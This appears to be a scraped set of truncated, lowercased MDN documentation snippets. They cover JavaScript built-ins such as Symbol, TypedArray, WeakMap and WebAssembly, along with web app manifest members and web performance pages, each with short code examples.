new global symbol symbol.keyfor(globalsym); // "foo" var localsym = symbol(); symbol.keyfor(localsym); // undefined // well-known symbols are not symbols registered // in the global symbol registry symbol.keyfor(symbol.iterator) // undefined specifications specification ecmascript (ecma-262)the definition of 'symbol.keyfor' in that specification. ...
Symbol.replace - JavaScript
. property attributes of symbol.replace writable no enumerable no configurable no examples using symbol.replace class customreplacer { constructor(value) { this.value = value; } [symbol.replace](string) { return string.replace(this.value, '#!@?'); } } console.log('football'.replace(
new customreplacer('foo'))); // expected output: "#!@?tball" specifications specification ecmascript (ecma-262)the definition of 'symbol.replace' in that specification. ...
Symbol.species - JavaScript
y objects in your derived array class myarray. for example, when using methods such as map() that return the default constructor, you want these methods to return a parent array object, instead of the myarray object. the species symbol lets you do this: class myarray extends array { // overwrite species to the parent array constructor static get [symbol.species]() { return array; } } let a =
new myarray(1,2,3); let mapped = a.map(x => x * x); console.log(mapped instanceof myarray); // false console.log(mapped instanceof array); // true specifications specification ecmascript (ecma-262)the definition of 'symbol.species' in that specification. ...
Symbol.split - JavaScript
send us a pull request. property attributes of symbol.split writable no enumerable no configurable no examples custom reverse split class reversesplit { [symbol.split](string) { const array = string.split(' '); return array.reverse(); } } console.log('another one bites the dust'.split(
new reversesplit())); // expected output: [ "dust", "the", "bites", "one", "another" ] specifications specification ecmascript (ecma-262)the definition of 'symbol.split' in that specification. ...
TypedArray.prototype.buffer - JavaScript
ne https://github.com/mdn/interactive-examples and send us a pull request. description the buffer property is an accessor property whose set accessor function is undefined, meaning that you can only read this property. the value is established when the typedarray is constructed and cannot be changed. typedarray is one of the typedarray objects. examples using the buffer property var buffer =
new arraybuffer(8); var uint16 =
new uint16array(buffer); uint16.buffer; // arraybuffer { bytelength: 8 } specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.buffer' in that specification. ...
TypedArray.prototype.byteOffset - JavaScript
ffset (in bytes) of a typed array from the start of its arraybuffer. description the byteoffset property is an accessor property whose set accessor function is undefined, meaning that you can only read this property. the value is established when a typedarray is constructed and cannot be changed. typedarray is one of the typedarray objects. examples using the byteoffset property var buffer =
new arraybuffer(8); var uint8 =
new uint8array(buffer); uint8.byteoffset; // 0 (no offset specified) var uint8 =
new uint8array(buffer, 3); uint8.byteoffset; // 3 (as specified when constructing uint8array) specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.byteoffset' in that specification. ...
TypedArray.prototype.copyWithin() - JavaScript
= this.length]) parameters target target start index position where to copy the elements to. start source start index position where to start copying elements from. end optional optional. source end index position where to end copying elements from. return value the modified array. description see array.prototype.copywithin for more details. examples using copywithin var buffer =
new arraybuffer(8); var uint8 =
new uint8array(buffer); uint8.set([1,2,3]); console.log(uint8); // uint8array [ 1, 2, 3, 0, 0, 0, 0, 0 ] uint8.copywithin(3,0,3); console.log(uint8); // uint8array [ 1, 2, 3, 1, 2, 3, 0, 0 ] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.copywithin' in that specification. ...
TypedArray.prototype.find() - JavaScript
are not visited. examples find a prime number in a typed array the following example finds an element in the typed array that is a prime number (or returns undefined if there is no prime number). function isprime(element, index, array) { var start = 2; while (start <= math.sqrt(element)) { if (element % start++ < 1) { return false; } } return element > 1; } var uint8 =
new uint8array([4, 5, 8, 12]); console.log(uint8.find(isprime)); // 5 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.find' in that specification. ...
TypedArray.prototype.indexOf() - JavaScript
calculated index is less than 0, then the whole typed array will be searched. default: 0 (entire typed array is searched). return value the first index of the element in the array; -1 if not found. description indexof compares searchelement to elements of the typed array using strict equality (the same method used by the ===, or triple-equals, operator). examples using indexof var uint8 =
new uint8array([2, 5, 9]); uint8.indexof(2); // 0 uint8.indexof(7); // -1 uint8.indexof(9, 2); // 2 uint8.indexof(2, -1); // -1 uint8.indexof(2, -3); // 0 specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.indexof' in that specification. ...
TypedArray.prototype.lastIndexOf() - JavaScript
m back to front. if the calculated index is less than 0, -1 is returned, i.e. the typed array will not be searched. return value the last index of the element in the array; -1 if not found. description lastindexof compares searchelement to elements of the typed array using strict equality (the same method used by the ===, or triple-equals, operator). examples using lastindexof var uint8 =
new uint8array([2, 5, 9, 2]); uint8.lastindexof(2); // 3 uint8.lastindexof(7); // -1 uint8.lastindexof(2, 3); // 3 uint8.lastindexof(2, 2); // 0 uint8.lastindexof(2, -2); // 0 uint8.lastindexof(2, -1); // 3 specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.lastindexof' in that specification. ...
TypedArray.prototype.reduce() - JavaScript
and no initialvalue was provided, or if initialvalue is provided but the typed array is empty, the solo value would be returned without calling callback. polyfill this method uses the same algorithm as array.prototype.reduce(), so the same polyfill can be used here: simply replace array.prototype.reduce with typedarray.prototype.reduce. examples sum up all values within an array var total =
new uint8array([0, 1, 2, 3]).reduce(function(a, b) { return a + b; }); // total == 6 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.reduce' in that specification. ...
TypedArray.prototype.reduceRight() - JavaScript
ual to the second-to-last value. if the typed array is empty and no initialvalue was provided, typeerror would be thrown. if the typed array has only one element (regardless of position) and no initialvalue was provided, or if initialvalue is provided but the typed array is empty, the solo value would be returned without calling callback. examples sum up all values within an array var total =
new uint8array([0, 1, 2, 3]).reduceright(function(a, b) { return a + b; }); // total == 6 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.reduceright' in that specification. ...
TypedArray.prototype.reverse() - JavaScript
rototype.reverse(). typedarray is one of the typed array types here. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax typedarray.reverse(); return value the reversed array. examples using reverse var uint8 =
new uint8array([1, 2, 3]); uint8.reverse(); console.log(uint8); // uint8array [3, 2, 1] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.reverse' in that specification. ...
TypedArray.prototype.set() - JavaScript
destination range. offset optional the offset into the target array at which to begin writing values from the source array. if this value is omitted, 0 is assumed (that is, the source array will overwrite values in the target array starting at index 0). exceptions a rangeerror, if the offset is set such as it would store beyond the end of the typed array. examples using set() var buffer =
new arraybuffer(8); var uint8 =
new uint8array(buffer); uint8.set([1, 2, 3], 3); console.log(uint8); // uint8array [ 0, 0, 0, 1, 2, 3, 0, 0 ] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.set' in that specification. ...
TypedArray.prototype.sort() - JavaScript
e to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax typedarray.sort([comparefunction]) parameters comparefunction optional specifies a function that defines the sort order. return value the sorted typed array. examples using sort for more examples, see also the array.prototype.sort() method. let numbers =
new uint8array([40, 1, 5, 200]); numbers.sort(); // uint8array [ 1, 5, 40, 200 ] // unlike plain arrays, a compare function is not required // to sort the numbers numerically. // regular arrays require a compare function to sort numerically: numbers = [40, 1, 5, 200]; numbers.sort(); // [1, 200, 40, 5] numbers.sort((a, b) => a - b); // compare numbers // [ 1, 5, 40, 200 ] specifications ...
TypedArray.prototype.toLocaleString() - JavaScript
ing conventions should be used. in implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation dependent. see the intl.numberformat() constructor for details on these parameters and how to use them. return value a string representing the elements of the typed array. ...
WeakMap.prototype.clear() - JavaScript
the clear() method used to remove all elements from a weakmap object, but is no longer part of ecmascript and its implementations. syntax wm.clear(); examples using the clear method var wm =
new weakmap(); var obj = {}; wm.set(obj, 'foo'); wm.set(window, 'bar'); wm.has(obj); // true wm.has(window); // true wm.clear(); wm.has(obj) // false wm.has(window) // false specifications not part of any standard. ...
WeakMap.prototype.delete() - JavaScript
, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax wm.delete(key); parameters key the key of the element to remove from the weakmap object. return value true if an element in the weakmap object has been removed successfully. false if the key is not found in the weakmap or if the key is not an object. examples using the delete method var wm =
new weakmap(); wm.set(window, 'foo'); wm.delete(window); // returns true. successfully removed. wm.has(window); // returns false. the window object is no longer in the weakmap. specifications specification ecmascript (ecma-262)the definition of 'weakmap.prototype.delete' in that specification. ...
WeakMap.prototype.get() - JavaScript
teractive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax wm.get(key); parameters key required. the key of the element to return from the weakmap object. return value the element associated with the specified key in the weakmap object. if the key can't be found, undefined is returned. examples using the get method var wm =
new weakmap(); wm.set(window, 'foo'); wm.get(window); // returns "foo". wm.get('baz'); // returns undefined. specifications specification ecmascript (ecma-262)the definition of 'weakmap.prototype.get' in that specification. ...
WeakMap.prototype.has() - JavaScript
nteractive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax wm.has(key); parameters key required. the key of the element to test for presence in the weakmap object. return value boolean returns true if an element with the specified key exists in the weakmap object; otherwise false. examples using the has method var wm =
new weakmap(); wm.set(window, 'foo'); wm.has(window); // returns true wm.has('baz'); // returns false specifications specification ecmascript (ecma-262)the definition of 'weakmap.prototype.has' in that specification. ...
WeakRef() constructor - JavaScript
the weakref constructor creates a weakref object referring to a given target object. syntax
new weakref(targetobject); parameters targetobject the target object the weakref should refer to (also called the referent). examples creating a
new weakref object see the main weakref page for a complete example. class counter { constructor(element) { // remember a weak reference to a dom element this.ref =
new weakref(element); this.start(); } } specifications specification weakrefsthe definition of 'weakref constructor' in that specification. ...
WeakSet.prototype.clear() - JavaScript
the clear() method used to remove all elements from a weakset object, but is no longer part of ecmascript and its implementations. syntax ws.clear(); examples using the clear method var ws =
new weakset(); ws.add(window); ws.has(window); // true ws.clear(); ws.has(window); // false specifications not part of any standard. ...
WeakSet.prototype.delete() - JavaScript
t, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax ws.delete(value); parameters value required. the object remove from the weakset object. return value true if an element in the weakmap object has been removed successfully. false if the key is not found in the weakmap or if the key is not an object. examples using the delete method var ws =
new weakset(); var obj = {}; ws.add(window); ws.delete(obj); // returns false. no obj found to be deleted. ws.delete(window); // returns true. successfully removed. ws.has(window); // returns false. the window is no longer present in the weakset. specifications specification ecmascript (ecma-262)the definition of 'weakset.prototype.delete' in that specification. ...
WeakSet.prototype.has() - JavaScript
bute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax ws.has(value); parameters value required. the object to test for presence in the weakset. return value boolean returns true if an element with the specified value exists in the weakset object; otherwise false. examples using the has method var ws =
new weakset(); var obj = {}; ws.add(window); myset.has(window); // returns true myset.has(obj); // returns false specifications specification ecmascript (ecma-262)the definition of 'weakset.prototype.has' in that specification. ...
WebAssembly.Memory.prototype.buffer - JavaScript
hub, and view it live also) fetches and instantiates the loaded memory.wasm byte code using the webassembly.instantiatestreaming() method, while importing the memory created in the line above. it then stores some values in that memory, then exports a function and uses it to sum some values. webassembly.instantiatestreaming(fetch('memory.wasm'), { js: { mem: memory } }) .then(obj => { var i32 =
new uint32array(memory.buffer); for (var i = 0; i < 10; i++) { i32[i] = i; } var sum = obj.instance.exports.accumulate(0, 10); console.log(sum); }); specifications specification webassembly javascript interfacethe definition of 'buffer' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if y...
WebAssembly.Module.customSections() - JavaScript
ions") and custom sections are distinguished.) this provides developers with a way to include custom data inside wasm modules for other purposes, for example the name custom section, which allows developers to provide names for all the functions and locals in the module (like "symbols" in a native build). note that the webassembly text format currently doesn't have a syntax specified for adding
new custom sections; you can however add a name section to your wasm during conversion from text format over to .wasm. the wast2wasm command available as part of the wabt tool has a --debug-names option — specify this during conversion to get a .wasm with a names custom section, for example: wast2wasm simple-name-section.was -o simple-name-section.wasm --debug-names examples using customsections...
WebAssembly.Module.exports() - JavaScript
xported functions of the given module. exceptions if module is not a webassembly.module object instance, a typeerror is thrown. examples using exports the following example (see our index-compile.html demo on github, and view it live also) compiles the loaded simple.wasm byte code using the webassembly.compilestreaming() method and then sends it to a worker using postmessage(). var worker =
new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread. when the module is received, we create an instance from it using the webassembly.instantiate() method, invoke an exporte...
WebAssembly.Table.prototype.length - JavaScript
the length prototype property of the webassembly.table object returns the length of the table, i.e. the number of elements in the table. syntax table.length; examples using length the following example creates a
new webassembly table instance with an initial size of 2 and a maximum size of 10. var table =
new webassembly.table({ element: "anyfunc", initial: 2, maximum: 10 }); you can then grow the table by 1 with the following: console.log(table.length); // "2" console.log(table.grow(1)); // "2" console.log(table.length); // "3" specifications specification webassembly javascript interfacethe definition of 'length' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like ...
WebAssembly.compile() - JavaScript
a webassembly.module object representing the compiled module. exceptions if buffersource is not a typed array, a typeerror is thrown. if compilation fails, the promise rejects with a webassembly.compileerror. examples using compile the following example compiles the loaded simple.wasm byte code using the compile() function and then sends it to a worker using postmessage(). var worker =
new worker("wasm_worker.js"); fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => webassembly.compile(bytes) ).then(mod => worker.postmessage(mod) ); note: you'll probably want to use webassembly.compilestreaming() in most cases, as it is more efficient than compile(). specifications specification webassembly javascript interfacethe definitio...
WebAssembly.instantiateStreaming() - JavaScript
he most efficient, optimized way to load wasm code. syntax promise<resultobject> webassembly.instantiatestreaming(source, importobject); parameters source a response object or a promise that will fulfill with one, representing the underlying source of a .wasm module you want to stream, compile, and instantiate. importobject optional an object containing the values to be imported into the
newly-created instance, such as functions or webassembly.memory objects. there must be one matching property for each declared import of the compiled module or else a webassembly.linkerror is thrown. return value a promise that resolves to a resultobject which contains two fields: module: a webassembly.module object representing the compiled webassembly module. this module can be instantiated a...
WebAssembly - JavaScript
it is not a function object). you can compare it to math, which is also a namespace object for mathematical constants and functions, or to intl which is the namespace object for internationalization constructors and other language-sensitive functions. description the primary uses for the webassembly object are: loading webassembly code, using the webassembly.instantiate() function. creating
new memory and table instances via the webassembly.memory()/webassembly.table() constructors. providing facilities to handle errors that occur in webassembly via the webassembly.compileerror()/webassembly.linkerror()/webassembly.runtimeerror() constructors. constructor properties webassembly.compileerror() indicates an error during webassembly decoding or validation. webassembly.global() rep...
decodeURI() - JavaScript
created by encodeuri() or by a similar routine. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax decodeuri(encodeduri) parameters encodeduri a complete, encoded uniform resource identifier. return value a
new string representing the unencoded version of the given encoded uniform resource identifier (uri). exceptions throws an urierror ("malformed uri sequence") exception when encodeduri contains invalid character sequences. description replaces each escape sequence in the encoded uri with the character that it represents, but does not decode escape sequences that could not have been introduced by ...
decodeURIComponent() - JavaScript
mponent or by a similar routine. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax decodeuricomponent(encodeduri) parameters encodeduri an encoded component of a uniform resource identifier. return value a
new string representing the decoded version of the given encoded uniform resource identifier (uri) component. exceptions throws an urierror ("malformed uri sequence") exception when used wrongly. description replaces each escape sequence in the encoded uri component with the character that it represents. examples decoding a cyrillic url component decodeuricomponent('javascript_%d1%88%d0%b5%d0%...
encodeURI() - JavaScript
er (will only be four escape sequences for characters composed of two "surrogate" characters). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax encodeuri(uri) parameters uri a complete uri. return value a
new string representing the provided string encoded as a uri. description the encodeuri() function does not encode characters that have special meaning (reserved characters) for a uri. the following example shows all the parts that a uri "scheme" can possibly contain. note how certain characters are used to signify special meaning: http://username:password@www.example.com:80/path/to/file.php?foo=3...
globalThis - JavaScript
cross-platform way to get the global object for an environment was function('return this')(). ...
Logical NOT (!) - JavaScript
n series to explicitly force the conversion of any value to the corresponding boolean primitive. the conversion is based on the "truthyness" or "falsyness" of the value (see truthy and falsy). the same conversion can be done through the boolean function. n1 = !!true // !!truthy returns true n2 = !!{} // !!truthy returns true: any object is truthy... ...
Optional chaining (?.) - JavaScript
id on the left-hand side of an assignment let object = {}; object?.property = 1; // uncaught syntaxerror: invalid left-hand side in assignment array item access with optional chaining let arrayitem = arr?.[42]; examples basic example this example looks for the value of the name property for the member bar in a map when there is no such member. the result is therefore undefined. let mymap =
new map(); mymap.set("foo", {name: "baz", desc: "inga"}); let namebar = mymap.get("bar")?.name; short-circuiting evaluation when using optional chaining with expressions, if the left operand is null or undefined, the expression will not be evaluated. for instance: let potentiallynullobj = null; let x = 0; let prop = potentiallynullobj?.[x++]; console.log(x); // 0 as x was not incremented stack...
async function expression - JavaScript
on and an async function statement is the function name, which can be omitted in async function expressions to create anonymous functions. an async function expression can be used as an iife (immediately invoked function expression) which runs as soon as it is defined. see also the chapter about functions for more information. examples simple example function resolveafter2seconds(x) { return
new promise(resolve => { settimeout(() => { resolve(x); }, 2000); }); }; const add = async function(x) { // async function expression assigned to a variable let a = await resolveafter2seconds(20); let b = await resolveafter2seconds(30); return x + a + b; }; add(10).then(v => { console.log(v); // prints 60 after 4 seconds. }); (async function(x) { // async function expres...
await - JavaScript
the function, immediate execution also continues by returning to the function's caller a pending promise for the completion of the await's function and resuming execution of that caller. examples awaiting a promise to be fulfilled if a promise is passed to an await expression, it waits for the promise to be fulfilled and returns the fulfilled value. function resolveafter2seconds(x) { return
new promise(resolve => { settimeout(() => { resolve(x); }, 2000); }); } async function f1() { var x = await resolveafter2seconds(10); console.log(x); // 10 } f1(); thenable objects thenable objects will be fulfilled just the same. async function f2() { const thenable = { then: function(resolve, _reject) { resolve('resolved!') } }; console.log(await thenab...
delete operator - JavaScript
console.log(foo.bar); // 10 // delete the own property within the // foo object. delete foo.bar; // returns true // foo.bar is still available in the // prototype chain. console.log(foo.bar); // 42 // delete the property on the prototype. delete foo.prototype.bar; // returns true // the "bar" property can no longer be // inherited fro...
Expressions and operators - JavaScript
he promise's resolution/rejection. [] array initializer/literal syntax. {} object initializer/literal syntax. /ab+c/i regular expression literal syntax. ( ) grouping operator. left-hand-side expressions left values are the destination of an assignment. property accessors member operators provide access to a property or method of an object (object.property and object["property"]).
new the
new operator creates an instance of a constructor.
new.target in constructors,
new.target refers to the constructor that was invoked by
new. super the super keyword calls the parent constructor. ...obj spread syntax allows an expression to be expanded in places where multiple arguments (for function calls) or multiple elements (for array literals) are expected. increment and decremen...
class - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. you can also define a class using a class expression. but unlike a class expression, a class declaration doesn't allow an existing class to be declared again and will throw a syntaxerror if attempted. syntax class name [extends othername] { // class body } description the class body of a class declaration is executed in strict mode. the constructor method is optional. class declarations are not hoisted (unlike function declarations). ...
const - JavaScript
assignment to constant variable. my_object = {'other_key': 'value'}; // however, object keys are not protected, // so the following statement is executed without problem my_object.key = 'othervalue'; // use object.freeze() to make object immutable // the same applies to arrays const my_array = []; // it's possible to push items into the array my_array.push('a'); // ["a"] // however, assigning a
new array to the variable throws an error // uncaught typeerror: assignment to constant variable. my_array = ['b']; specifications specification ecmascript (ecma-262)the definition of 'let and const declarations' in that specification. ...
for...in - JavaScript
const prop in obj) { console.log(`obj.${prop} = ${obj[prop]}`); } // output: // "obj.a = 1" // "obj.b = 2" // "obj.c = 3" iterating own properties the following function illustrates the use of hasownproperty(): the inherited properties are not displayed. var triangle = {a: 1, b: 2, c: 3}; function coloredtriangle() { this.color = 'red'; } coloredtriangle.prototype = triangle; var obj =
new coloredtriangle(); for (const prop in obj) { if (obj.hasownproperty(prop)) { console.log(`obj.${prop} = ${obj[prop]}`); } } // output: // "obj.color = red" specifications specification ecmascript (ecma-262)the definition of 'for...in statement' in that specification. ...
for - JavaScript
examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax for ([initialization]; [condition]; [final-expression]) statement initialization an expression (including assignment expressions) or variable declaration evaluated once before the loop begins. typically used to initialize a counter variable. this expression may optionally declare
new variables with var or let keywords. variables declared with var are not local to the loop, i.e. they are in the same scope the for loop is in. variables declared with let are local to the statement. the result of this expression is discarded. condition an expression to be evaluated before each loop iteration. if this expression evaluates to true, statement is executed. this conditional test is...
if...else - JavaScript
atements: if (condition) { statements1 } else { statements2 } do not confuse the primitive boolean values true and false with truthiness or falsiness of the boolean object. any value that is not false, undefined, null, 0, -0, nan, or the empty string (""), and any object, including a boolean object whose value is false, is considered truthy when used as the condition. for example: var b =
new boolean(false); if (b) // this condition is truthy examples using if...else if (cipher_char === from_char) { result = result + to_char; x++; } else { result = result + clear_char; } using else if note that there is no elseif syntax in javascript. however, you can write it with a space between else and if: if (x > 50) { /* do something */ } else if (x > 5) { /* do something */ } ...
import - JavaScript
. import('/modules/my-module.js') .then((module) => { // do something with the module. }); this form also supports the await keyword. let module = await import('/modules/my-module.js'); examples standard import the code below shows how to import from a secondary module to assist in processing an ajax json request. ...
var - JavaScript
0; // declares x within file scope, then assigns it a value of 0. console.log(typeof z); // "undefined", since z doesn't exist yet function a() { var y = 2; // declares y within scope of function a, then assigns it a value of 2. console.log(x, y); // 0 2 function b() { x = 3; // assigns 3 to existing file scoped x. y = 4; // assigns 4 to existing outer y. z = 5; // creates a
new global variable z, and assigns it a value of 5. // (throws a referenceerror in strict mode.) } b(); // creates z as a global variable. console.log(x, y, z); // 3 4 5 } a(); // also calls b. console.log(x, z); // 3 5 console.log(typeof y); // "undefined", as y is local to function a specifications specification ecmascript (ecma-262)the definition of '...
Template literals (Template strings) - JavaScript
a single string. if there is an expression preceding the template literal (tag here), this is called a tagged template. in that case, the tag expression (usually a function) gets called with the template literal, which you can then manipulate before outputting. to escape a backtick in a template literal, put a backslash (\) before the backtick. `\`` === '`' // --> true multi-line strings any
newline characters inserted in the source are part of the template literal. using normal strings, you would have to use the following syntax in order to get multi-line strings: console.log('string text line 1\n' + 'string text line 2'); // "string text line 1 // string text line 2" using template literals, you can do the same like this: console.log(`string text line 1 string text line 2`); // "st...
Trailing commas - JavaScript
this makes version-control diffs cleaner and editing code might be less troublesome. javascript has allowed trailing commas in array literals since the beginning, and later added them to object literals (ecmascript 5) and most recently (ecmascript 2017) to function parameters. json, however, disallows trailing commas. ...
JavaScript
oncurrency model based on an "event loop". reference browse the complete javascript reference documentation. standard objects get to know standard built-in objects array, boolean, date, error, function, json, math, number, object, regexp, string, map, set, weakmap, weakset, and others. expressions and operators learn more about the behavior of javascript's operators instanceof, typeof,
new, this, the operator precedence, and more. statements and declarations learn how do-while, for-in, for-of, try-catch, let, var, const, if-else, switch, and more javascript statements and keywords work. functions learn how to work with javascript's functions to develop your applications. tools & resources helpful tools for writing and debugging your javascript code. firefox developer tool...
categories - Web app manifests
application supposedly belongs to. there is no standard list of possible values, but the w3c maintains a list of known categories. note: categories are used only as hints for catalogs or stores listing web applications. like search engines and meta keywords, catalogs and stores are free to ignore them. note: categories values are lower-cased by the stores and catalogs before processing, so "
news" and "
news" are treated as the same value. developers are encouraged to use lower case in the first place. example "categories": ["books", "education", "medical"] specification specification status comment feedback web app manifestthe definition of 'categories' in that specification. working draft initial definition. w...
display - Web app manifests
exclude ui elements for controlling navigation, but can include other ui elements such as a status bar. minimal-ui minimal-ui the application will look and feel like a standalone application, but will have a minimal set of ui elements for controlling navigation. the elements will vary by browser. browser browser the application opens in a conventional browser tab or
new window, depending on the browser and platform. this is the default. (none) example "display": "standalone" specification specification status comment feedback web app manifestthe definition of 'display' in that specification. working draft initial definition. web app manifest working group drafts ...
shortcuts - Web app manifests
d by the operating system when a user engages with the web app's icon. when user invokes a shortcut, the user agent will navigate to the address given by shortcut's url member. examples the following is a list of shortcuts a calendar app might have: "shortcuts" : [ { "name": "today's agenda", "url": "/today", "description": "list of events planned for today" }, { "name": "
new event", "url": "/create/event" }, { "name": "
new reminder", "url": "/create/reminder" } ] specification specification status comment feedback web app manifestthe definition of 'shortcuts' in that specification. working draft initial definition. web app manifest working group drafts ...
Web app manifests
it: background_colorcategoriesdescriptiondirdisplayiarc_rating_idiconslangnameorientationprefer_related_applicationsrelated_applicationsscopescreenshotsserviceworkershort_nameshortcutsstart_urltheme_color example manifest { "name": "hackerweb", "short_name": "hackerweb", "start_url": ".", "display": "standalone", "background_color": "#fff", "description": "a simply readable hacker
news app.", "icons": [{ "src": "images/touch/homescreen48.png", "sizes": "48x48", "type": "image/png" }, { "src": "images/touch/homescreen72.png", "sizes": "72x72", "type": "image/png" }, { "src": "images/touch/homescreen96.png", "sizes": "96x96", "type": "image/png" }, { "src": "images/touch/homescreen144.png", "sizes": "144x144", "type": "imag...
<mspace> - MathML
a blank space, whose size is set by its attributes. attributes class, id, style provided for use with stylesheets. depth the desired depth (below the baseline) of the space (see length for values and units). height the desired height (above the baseline) of the space (see length for values and units). linebreak indicates a line-break at the space. possible values: auto (default value),
newline, nobreak, goodbreak, badbreak. starting with mathml 3, it is preferred to use <mo> to control linebreaking. mathbackground the background color. you can use #rgb, #rrggbb and html color names. width the desired width of the space (see length for values and units). note that some common attributes like mathcolor, mathvariant or dir have no effect on <mspace>. examples <math> <mspac...
MathML
ut mathml attributes that modify the appearance or behavior of elements. mathml examples mathml samples and examples to help you understand how it works. authoring mathml suggestions and tips for writing mathml, including suggested mathml editors and how to integrate their output into web content. view all... getting help from the community view mozilla forums... ...
Autoplay guide for media and Web Audio APIs - Web media technologies
domain as the document. you can also specify 'none' to disable autoplay entirely, '*' to allow autoplay from all domains, or one or more specific origins from which media can be automatically played. these origins are separated by space characters. note: the specified feature policy applies to the document and every <iframe> nested within it, unless those frames include an allow, which sets a
new feature policy for that frame and all frames nested within it. when using the allow attribute on an <iframe> to specify a feature policy for that frame and its nested frames, you can also specify the value 'src' to allow autoplay of media only from the same domain as that specified by the frame's src attribute. example: allowing autoplay only from the document's domain to use the feature-poli...
Codecs used by WebRTC - Web media technologies
ng the getcapabilities() static method of both rtcrtpsender and rtcrtpreceiver. if the media is video, we call a method called prefercodec() for both the sender's and receiver's codec lists; this method rearranges the codec list the way we want (see below). finally, we call the rtcrtptransceiver's setcodecpreferences() method to specify that the given send and receive codecs are allowed, in the
newly rearranged order. that's done for each transceiver on the rtcpeerconnection; once all of the transceivers have been updated, we call the onnegotiationneeded event handler, which will create a
new offer, update the local description, send the offer along to the remote peer, and so on, thereby triggering the renegotiation of the connection. the prefercodec() function called by the code above lo...
Animation performance and frame rate - Web Performance
dget, it's not surprising we are missing a consistently high frame rate. you can experiment with this: try removing the box shadow using the page inspector, and see how that affects paint time. but next, we'll see how using transform instead of margin eliminates those expensive paints entirely. animating using transform now switch the radio button in the web page to "use transform", and make a
new recording. it will look something like this: waterfall overview compared with the version that uses margin, we're seeing a lot less green and a lot more pink, which could be either layout or style recalculation. frame rate compared with the version that uses margin, this is looking pretty good. we're averaging nearly 60fps, and apart from one dip near the start, we're getting a consiste...
CSS and JavaScript animation performance - Web Performance
een css- and javascript-based animation. css transitions and animations both css transitions and animations can be used to write animation. they each have their own user scenarios: css transitions provide an easy way to make animations occur between the current style and an end css state, e.g., a resting button state and a hover state. even if an element is in the middle of a transition, the
new transition starts from the current style immediately instead of jumping to the end css state. see using css transitions for more details. css animations, on the other hand, allow developers to make animations between a set of starting property values and a final set rather than between two states. css animations consist of two components: a style describing the css animation, and a set of key fr...
Performance fundamentals - Web Performance
can't use straight html as the source; just read it once and then scroll 10 elements, changing the content of the first and last accordingly to your position in the results list, instead of moving 100 elements that aren’t visible. the same trick applies in games to sprites: if they aren’t currently on the screen, there is no need to poll them. instead re-use elements that scroll off screen as
new ones coming in. general application performance analysis firefox, chrome, and other browsers include built-in tools that can help you diagnose slow page rendering. in particular, firefox's network monitor will display a precise timeline of when each network request on your page happens, how large it is, and how long it takes. if your page contains javascript code that is taking a long time t...
Recommended Web Performance Timings: How long is too long? - Web Performance
tutes a slow pace when loading pages, but there are specific guidelines for indicating content will load (1 second), idling (50ms), animating (16.7s) and responding to user input (50 to 200ms). load goal the 'under a second' is often touted as optimal for load, but what does that mean? a second should be considered a rule in the maximum amount of time to indicate to a user that the request for
new content was made and will load, such as the browser displaying the page title and the background color of the page displaying. the first asset retrieved from a request is usually an html document, which then makes calls for additional assets. as noted in the description of the critical rendering path, when received, browsers immediately start processing the html, rendering the content as it is ...
Navigation and resource timings - Web Performance
n the browser is ready to fetch the document using an http request. this moment is before the check to any application cache. requeststart when the browser sent the request to obtain the actual document, from the server or from a cache. if the transport layer fails after the start of the request and the connection is reopened, this property will be set to the time corresponding to the
new request. responsestart when the browser received the first byte of the response, from the server from a cache, or from a local resource. responseend when the browser received the last byte of the response, or when the connection is closed if this happened first, from the server, the cache, or from a local resource. domloading when the parser started its work, t...
Web Performance
acts performance, how to measure latency, and how to reduce it.using dns-prefetchdns-prefetch is an attempt to resolve domain names before resources get requested. this could be a file loaded later or link target a user tries to follow. beginner's tutorials the mdn web performance learning area contains modern, up-to-date tutorials covering performance essentials. start here if you are a
newcomer to performance: web performance: brief overview overview of the web performance learning path. start your journey here. what is web performance? this article starts the module off with a good look at what performance actually is — this includes the tools, metrics, apis, networks, and groups of people we need to consider when thinking about performance, and how we can make performan...
Privacy, permissions, and information security
can get tricky when your web app uses the <iframe> element to embed content from another site inside your own, especially if the document you load into the frame has its own permission needs to consider. while specifications for these technologies either state or recommend tactics for handling situations like this, browsers may offer different solutions to improve security even further or to try
new features, or try to reduce complexity for users, among other possible reasons. <--- allow attribute, feature policy, and permissions api stuff ---> a specific user experience issue that often arises is a document that's loaded with permission to access a resource and the document contains an <iframe> with the allow attribute to delegate that permission to the contents of the frame. in this case...
Add to Home screen - Progressive web apps (PWAs)
